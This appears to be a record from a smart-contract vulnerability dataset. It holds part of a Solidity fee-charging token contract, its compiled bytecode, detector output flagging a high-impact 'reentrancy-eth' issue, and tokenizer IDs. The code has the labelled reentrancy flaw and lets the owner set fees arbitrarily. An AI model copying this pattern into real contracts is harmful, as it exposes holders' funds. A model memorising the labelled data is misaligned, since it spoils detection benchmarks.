amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ removeAllFee(); } else{ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } //Calculate burn amount and marketing amount uint256 teamAmt = amount.mul(_teamFee).div(100); uint256 marketingAmt = amount.mul(_marketingFee).div(100); uint256 developmentAmt = amount.mul(_developmentFee).div(100); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, (amount.sub(teamAmt).sub(marketingAmt).sub(developmentAmt))); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, (amount.sub(teamAmt).sub(marketingAmt).sub(developmentAmt))); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, (amount.sub(teamAmt).sub(marketingAmt).sub(developmentAmt))); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, (amount.sub(teamAmt).sub(marketingAmt).sub(developmentAmt))); } else { _transferStandard(sender, recipient, (amount.sub(teamAmt).sub(marketingAmt).sub(developmentAmt))); } //Temporarily remove fees to transfer to burn address and marketing wallet _taxFee = 0; _liquidityFee = 0; //Send transfers to burn and marketing wallet _transferStandard(sender, teamWallet, teamAmt); _transferStandard(sender, marketingWallet, marketingAmt); _transferStandard(sender, developmentW,developmentAmt); //Restore tax and liquidity fees _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } //Call this function after finalizing the presale function enableAllFees() external onlyOwner() { _taxFee = 0; _previousTaxFee = _taxFee; _liquidityFee = 2; _previousLiquidityFee = _liquidityFee; _teamFee = 2; _previousteamFee =_teamFee; _marketingFee = 2; _previousmarketingFee = _marketingFee; _developmentFee = 18; _previousdevelopmentWFee = _developmentFee; inSwapAndLiquify = true; emit SwapAndLiquifyEnabledUpdated(true); } function disableAllFees() external onlyOwner() { _taxFee = 0; _previousTaxFee = _taxFee; _liquidityFee = 0; _previousLiquidityFee = _liquidityFee; _teamFee = 0; _previousteamFee =_teamFee; _marketingFee = 0; _previousmarketingFee = _marketingFee; _developmentFee = 0; _previousdevelopmentWFee = _developmentFee; inSwapAndLiquify = false; emit SwapAndLiquifyEnabledUpdated(false); } function setmarketingWallet(address newWallet) external onlyOwner() { marketingWallet = newWallet; } function setTeamWallet(address newWallet) external onlyOwner() { teamWallet = newWallet; } function setDevelopmentWallet(address newWallet) external onlyOwner() { developmentW = newWallet; } function setAllFee(uint256 newMarketingFee,uint256 newTeamFee,uint256 newdevelopmentFee, uint256 newTaxfee,uint256 newLiquidityFee) external onlyOwner() { _marketingFee = newMarketingFee; _teamFee = newTeamFee; _developmentFee= newdevelopmentFee; _taxFee = newTaxfee; _liquidityFee = newLiquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 1, "Cannot set transaction amount less than 1 percent!"); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } }
0x60806040526004361061028c5760003560e01c806370a082311161015a578063a69df4b5116100c1578063dd4670641161007a578063dd46706414610903578063dd62ed3e1461092d578063e636876314610968578063ea2f0b37146109aa578063f2fde38b146109dd578063ffc7863514610a1057610293565b8063a69df4b514610835578063a9059cbb1461084a578063b6c5232414610883578063c49b9a8014610898578063d1475185146108c4578063d543dbeb146108d957610293565b80637d1db4a5116101135780637d1db4a51461077557806388f820201461078a5780638da5cb5b146107bd57806395d89b41146107d25780639eb942e5146107e7578063a457c2d7146107fc57610293565b806370a08231146106bb578063715018a6146106ee57806372ac24861461070357806373222dc714610736578063741af87f1461074b57806375f0a8741461076057610293565b80633685d419116101fe57806349bd5a5e116101b757806349bd5a5e146106015780634a74bb021461061657806352390c021461062b5780635342acb41461065e57806359927044146106915780636bc87c3a146106a657610293565b80633685d419146104f157806339509351146105245780633b124fe71461055d5780633bd5d17314610572578063437823ec1461059c5780634549b039146105cf57610293565b806318160ddd1161025057806318160ddd146103fc578063224611731461041157806322976e0d1461044457806323b872dd146104595780632d8381191461049c578063313ce567146104c657610293565b806306fdde0314610298578063095ea7b31461032257806313114a9d1461036f5780631525ff7d146103965780631694505e146103cb57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610a25565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032e57600080fd5b5061035b6004803603604081101561034557600080fd5b506001600160a01b038135169060200135610abb565b604080519115158252519081900360200190f35b34801561037b57600080fd5b50610384610ad9565b60408051918252519081900360200190f35b3480156103a257600080fd5b506103c9600480360360208110156103b957600080fd5b50356001600160a01b0316610adf565b005b3480156103d757600080fd5b506103e0610b59565b604080516001600160a01b039092168252519081900360200190f35b34801561040857600080fd5b50610384610b7d565b34801561041d57600080fd5b506103c96004803603602081101561043457600080fd5b50356001600160a01b0316610b83565b34801561045057600080fd5b50610384610bfd565b34801561046557600080fd5b5061035b6004803603606081101561047c57600080fd5b506001600160a01b03813581169160208101359091169060400135610c03565b3480156104a857600080fd5b50610384600480360360208110156104bf57600080fd5b5035610c8a565b3480156104d257600080fd5b506104db610cec565b6040805160ff9092168252519081900360200190f35b3480156104fd57600080fd5b506103c96004803603602081101561051457600080fd5b50356001600160a01b0316610cf5565b34801561053057600080fd5b5061035b6004803603604081101561054757600080fd5b506001600160a01b038135169060200135610eb6565b34801561056957600080fd5b50610384610f04565b34801561057e57600080fd5b506103c96004803603602081101561059557600080fd5b5035610f0a565b3480156105a857600080fd5b506103c9600480360360208110156105bf57600080fd5b50356001600160a01b0316610fe4565b3480156105db57600080fd5b50610384600480360360408110156105f257600080fd5b50803590602001351515611060565b34801561060d57600080fd5b506103e06110f2565b34801561062257600080fd5b5061035b611116565b34801561063757600080fd5b506103c96004803603602081101561064e57600080fd5b50356001600160a01b0316611124565b34801561066a57600080fd5b5061035b6004803603602081101561068157600080fd5b50356001600160a01b0316611306565b34801561069d57600080fd5b506103e0611324565b3480156106b257600080fd5b50610384611333565b3480156106c757600080fd5b50610384600480360360208110156106de57600080fd5b50356001600160a01b0316611339565b3480156106fa57600080fd5b506103c961139b565b34801561070f57600080fd5b506103c96004803603602081101561072657600080fd5b50356001600160a01b031661142b565b34801561074257600080fd5b506103e06114a5565b34801561075757600080fd5b506103c96114b4565b34801561076c57600080fd5b506103e061157e565b34801561078157600080fd5b5061038461158d565b34801561079657600080fd5b5061035b600480360360208110156107ad57600080fd5b50356001600160a01b0316611593565b3480156107c957600080fd5b506103e06115b1565b3480156107de57600080fd5b506102ad6115c0565b3480156107f357600080fd5b50610384611621565b34801561080857600080fd5b5061035b6004803603604081101561081f57600080fd5b506001600160a01b038135169060200135611627565b34801561084157600080fd5b506103c961168f565b34801561085657600080fd5b5061035b6004803603604081101561086d57600080fd5b506001600160a01b03813516906020013561177d565b34801561088f57600080fd5b50610384611791565b3480156108a457600080fd5b506103c9600480360360208110156108bb57600080fd5b50351515611797565b3480156108d057600080fd5b5061038461183e565b3480156108e557600080fd5b506103c9600480360360208110156108fc57600080fd5b5035611844565b34801561090f57600080fd5b506103c96004803603602081101561092657600080fd5b5035611901565b34801561093957600080fd5b506103846004803603604081101561095057600080fd5b506001600160a01b038135811691602001351661199f565b34801561097457600080fd5b506103c9600480360360a081101561098b57600080fd5b50803590602081013590604081013590606081013590608001356119ca565b3480156109b657600080fd5b506103c9600480360360208110156109cd57600080fd5b50356001600160a01b0316611a39565b3480156109e957600080fd5b506103c960048036036020811015610a0057600080fd5b50356001600160a01b0316611ab2565b348015610a1c57600080fd5b506103c9611b98565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ab15780601f10610a8657610100808354040283529160200191610ab1565b820191906000526020600020905b815481529060010190602001808311610a9457829003601f168201915b5050505050905090565b6000610acf610ac8611c67565b8484611c6b565b5060015b92915050565b600b5490565b610ae7611c67565b6000546001600160a01b03908116911614610b37576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b610b8b611c67565b6000546001600160a01b03908116911614610bdb576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b60175481565b6000610c10848484611d57565b610c8084610c1c611c67565b610c7b85604051806060016040528060288152602001612ef5602891396001600160a01b038a16600090815260056020526040812090610c5a611c67565b6001600160a01b031681526020810191909152604001600020549190611ebb565b611c6b565b5060019392505050565b6000600a54821115610ccd5760405162461bcd60e51b815260040180806020018281038252602a815260200180612e08602a913960400191505060405180910390fd5b6000610cd7611f52565b9050610ce38382611f75565b9150505b919050565b600e5460ff1690565b610cfd611c67565b6000546001600160a01b03908116911614610d4d576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16610dba576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600854811015610eb257816001600160a01b031660088281548110610dde57fe5b6000918252602090912001546001600160a01b03161415610eaa57600880546000198101908110610e0b57fe5b600091825260209091200154600880546001600160a01b039092169183908110610e3157fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610e8357fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610eb2565b600101610dbd565b5050565b6000610acf610ec3611c67565b84610c7b8560056000610ed4611c67565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611fbe565b600f5481565b6000610f14611c67565b6001600160a01b03811660009081526007602052604090205490915060ff1615610f6f5760405162461bcd60e51b815260040180806020018281038252602c815260200180612ff1602c913960400191505060405180910390fd5b6000610f7a83612018565b505050506001600160a01b038416600090815260036020526040902054919250610fa691905082612067565b6001600160a01b038316600090815260036020526040902055600a54610fcc9082612067565b600a55600b54610fdc9084611fbe565b600b55505050565b610fec611c67565b6000546001600160a01b0390811691161461103c576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006009548311156110b9576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b816110d85760006110c984612018565b50939550610ad3945050505050565b60006110e384612018565b50929550610ad3945050505050565b7f000000000000000000000000c1c4b56e8790ed803ed2932ff50c4438f0ccee3f81565b601c54610100900460ff1681565b61112c611c67565b6000546001600160a01b0390811691161461117c576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b7310ed43c718714eb63d5aa57b78b54704e256024e6001600160a01b03821614156111d85760405162461bcd60e51b8152600401808060200182810382526022815260200180612fcf6022913960400191505060405180910390fd5b6001600160a01b03811660009081526007602052604090205460ff1615611246576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260036020526040902054156112a0576001600160a01b03811660009081526003602052604090205461128690610c8a565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b6014546001600160a01b031681565b60115481565b6001600160a01b03811660009081526007602052604081205460ff161561137957506001600160a01b038116600090815260046020526040902054610ce7565b6001600160a01b038216600090815260036020526040902054610ad390610c8a565b6113a3611c67565b6000546001600160a01b039081169116146113f3576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020612f3d833981519152908390a3600080546001600160a01b0319169055565b611433611c67565b6000546001600160a01b03908116911614611483576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6016546001600160a01b031681565b6114bc611c67565b6000546001600160a01b0390811691161461150c576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6000600f8190556010819055601181905560128190556013819055601a819055601781905560198190556015819055601b819055601c805460ff1916905560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a1565b6018546001600160a01b031681565b601d5481565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b031690565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ab15780601f10610a8657610100808354040283529160200191610ab1565b60135481565b6000610acf611634611c67565b84610c7b85604051806060016040528060258152602001613040602591396005600061165e611c67565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611ebb565b6001546001600160a01b031633146116d85760405162461bcd60e51b815260040180806020018281038252602381526020018061301d6023913960400191505060405180910390fd5b600254421161172e576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2030206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b039384169390911691600080516020612f3d83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610acf61178a611c67565b8484611d57565b60025490565b61179f611c67565b6000546001600160a01b039081169116146117ef576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b601c8054821515610100810261ff00199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b60155481565b61184c611c67565b6000546001600160a01b0390811691161461189c576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b600181116118db5760405162461bcd60e51b8152600401808060200182810382526032815260200180612ea26032913960400191505060405180910390fd5b6118fb60646118f5836009546120a990919063ffffffff16565b90611f75565b601d5550565b611909611c67565b6000546001600160a01b03908116911614611959576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020612f3d833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6119d2611c67565b6000546001600160a01b03908116911614611a22576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b601794909455601392909255601555600f55601155565b611a41611c67565b6000546001600160a01b03908116911614611a91576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b611aba611c67565b6000546001600160a01b03908116911614611b0a576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6001600160a01b038116611b4f5760405162461bcd60e51b8152600401808060200182810382526026815260200180612e326026913960400191505060405180910390fd5b600080546040516001600160a01b0380851693921691600080516020612f3d83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611ba0611c67565b6000546001600160a01b03908116911614611bf0576040805162461bcd60e51b81526020600482018190526024820152600080516020612f1d833981519152604482015290519081900360640190fd5b6000600f8190556010556002601181905560128181556013829055601a82905560178290556019919091556015819055601b55601c805460ff1916600190811790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a1565b3390565b6001600160a01b038316611cb05760405162461bcd60e51b8152600401808060200182810382526024815260200180612fab6024913960400191505060405180910390fd5b6001600160a01b038216611cf55760405162461bcd60e51b8152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611d9c5760405162461bcd60e51b8152600401808060200182810382526025815260200180612f866025913960400191505060405180910390fd5b6001600160a01b038216611de15760405162461bcd60e51b8152600401808060200182810382526023815260200180612de56023913960400191505060405180910390fd5b60008111611e205760405162461bcd60e51b8152600401808060200182810382526029815260200180612f5d6029913960400191505060405180910390fd5b6000611e2b30611339565b601e5490915081108015908190611e455750601c5460ff16155b8015611e8357507f000000000000000000000000c1c4b56e8790ed803ed2932ff50c4438f0ccee3f6001600160a01b0316856001600160a01b031614155b8015611e965750601c54610100900460ff165b15611ea957601e549150611ea982612102565b611eb485858561219f565b5050505050565b60008184841115611f4a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f0f578181015183820152602001611ef7565b50505050905090810190601f168015611f3c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611f5f6124de565b9092509050611f6e8282611f75565b9250505090565b6000611fb783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612641565b9392505050565b600082820183811015611fb7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600080600080600080600080600061202f8a6126a6565b925092509250600080600061204d8d8686612048611f52565b6126e2565b919f909e50909c50959a5093985091965092945050505050565b6000611fb783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ebb565b6000826120b857506000610ad3565b828202828482816120c557fe5b0414611fb75760405162461bcd60e51b8152600401808060200182810382526021815260200180612ed46021913960400191505060405180910390fd5b601c805460ff19166001179055600061211c826002611f75565b9050600061212a8383612067565b90504761213683612732565b60006121424783612067565b905061214e8382612941565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15050601c805460ff19169055505050565b6001600160a01b03831660009081526006602052604090205460ff16806121de57506001600160a01b03821660009081526006602052604090205460ff165b156121f0576121eb612a45565b612231565b601d548111156122315760405162461bcd60e51b8152600401808060200182810382526028815260200180612e7a6028913960400191505060405180910390fd5b600061224d60646118f5601354856120a990919063ffffffff16565b9050600061226b60646118f5601754866120a990919063ffffffff16565b9050600061228960646118f5601554876120a990919063ffffffff16565b6001600160a01b03871660009081526007602052604090205490915060ff1680156122cd57506001600160a01b03851660009081526007602052604090205460ff16155b156122f7576122f286866122ed846122e787818b8b612067565b90612067565b612a60565b61242c565b6001600160a01b03861660009081526007602052604090205460ff1615801561233857506001600160a01b03851660009081526007602052604090205460ff165b15612357576122f28686612352846122e787818b8b612067565b612b84565b6001600160a01b03861660009081526007602052604090205460ff1615801561239957506001600160a01b03851660009081526007602052604090205460ff16155b156123b8576122f286866123b3846122e787818b8b612067565b612c2d565b6001600160a01b03861660009081526007602052604090205460ff1680156123f857506001600160a01b03851660009081526007602052604090205460ff165b15612417576122f28686612412846122e787818b8b612067565b612c71565b61242c86866123b3846122e787818b8b612067565b6000600f81905560115560145461244e9087906001600160a01b031685612c2d565b6018546124669087906001600160a01b031684612c2d565b60165461247e9087906001600160a01b031683612c2d565b601054600f556012546011556001600160a01b03861660009081526006602052604090205460ff16806124c957506001600160a01b03851660009081526006602052604090205460ff165b156124d6576124d6612ce4565b505050505050565b600a546009546000918291825b60085481101561260f5782600360006008848154811061250757fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061256c575081600460006008848154811061254557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561258357600a546009549450945050505061263d565b6125c3600360006008848154811061259757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612067565b925061260560046000600884815481106125d957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612067565b91506001016124eb565b50600954600a5461261f91611f75565b82101561263757600a5460095493509350505061263d565b90925090505b9091565b600081836126905760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611f0f578181015183820152602001611ef7565b50600083858161269c57fe5b0495945050505050565b6000806000806126b585612cff565b905060006126c286612d1b565b905060006126d4826122e78986612067565b979296509094509092505050565b60008080806126f188866120a9565b905060006126ff88876120a9565b9050600061270d88886120a9565b9050600061271f826122e78686612067565b939b939a50919850919650505050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061276057fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127d957600080fd5b505afa1580156127ed573d6000803e3d6000fd5b505050506040513d602081101561280357600080fd5b505181518290600190811061281457fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061285f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c6b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156129045781810151838201526020016128ec565b505050509050019650505050505050600060405180830381600087803b15801561292d57600080fd5b505af11580156124d6573d6000803e3d6000fd5b61296c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c6b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806129a96115b1565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015612a1457600080fd5b505af1158015612a28573d6000803e3d6000fd5b50505050506040513d6060811015612a3f57600080fd5b50505050565b6000600f819055601181905560138190556017819055601555565b600080600080600080612a7287612018565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aa49088612067565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612ad39087612067565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b029086611fbe565b6001600160a01b038916600090815260036020526040902055612b2481612d37565b612b2e8483612dc0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612b9687612018565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bc89087612067565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612bfe9084611fbe565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b029086611fbe565b600080600080600080612c3f87612018565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612ad39087612067565b600080600080600080612c8387612018565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cb59088612067565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bc89087612067565b6000600f556002601181905560138190556017556012601555565b6000610ad360646118f5600f54856120a990919063ffffffff16565b6000610ad360646118f5601154856120a990919063ffffffff16565b6000612d41611f52565b90506000612d4f83836120a9565b30600090815260036020526040902054909150612d6c9082611fbe565b3060009081526003602090815260408083209390935560079052205460ff1615612dbb5730600090815260046020526040902054612daa9084611fbe565b306000908152600460205260409020555b505050565b600a54612dcd9083612067565b600a55600b54612ddd9082611fbe565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e43616e6e6f7420736574207472616e73616374696f6e20616d6f756e74206c657373207468616e20312070657263656e7421536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c7564652050616e63616b6520726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bedf989a7224988a6e696c6406e9b1c2cf857d3bcca4d4ad57e687483bd7592264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 4402, 2050, 2692, 27717, 2063, 2509, 2050, 2692, 6679, 2487, 3207, 2546, 2683, 2629, 7959, 16703, 2094, 21926, 24087, 2063, 25746, 2581, 2497, 23352, 2487, 2098, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 102 ]
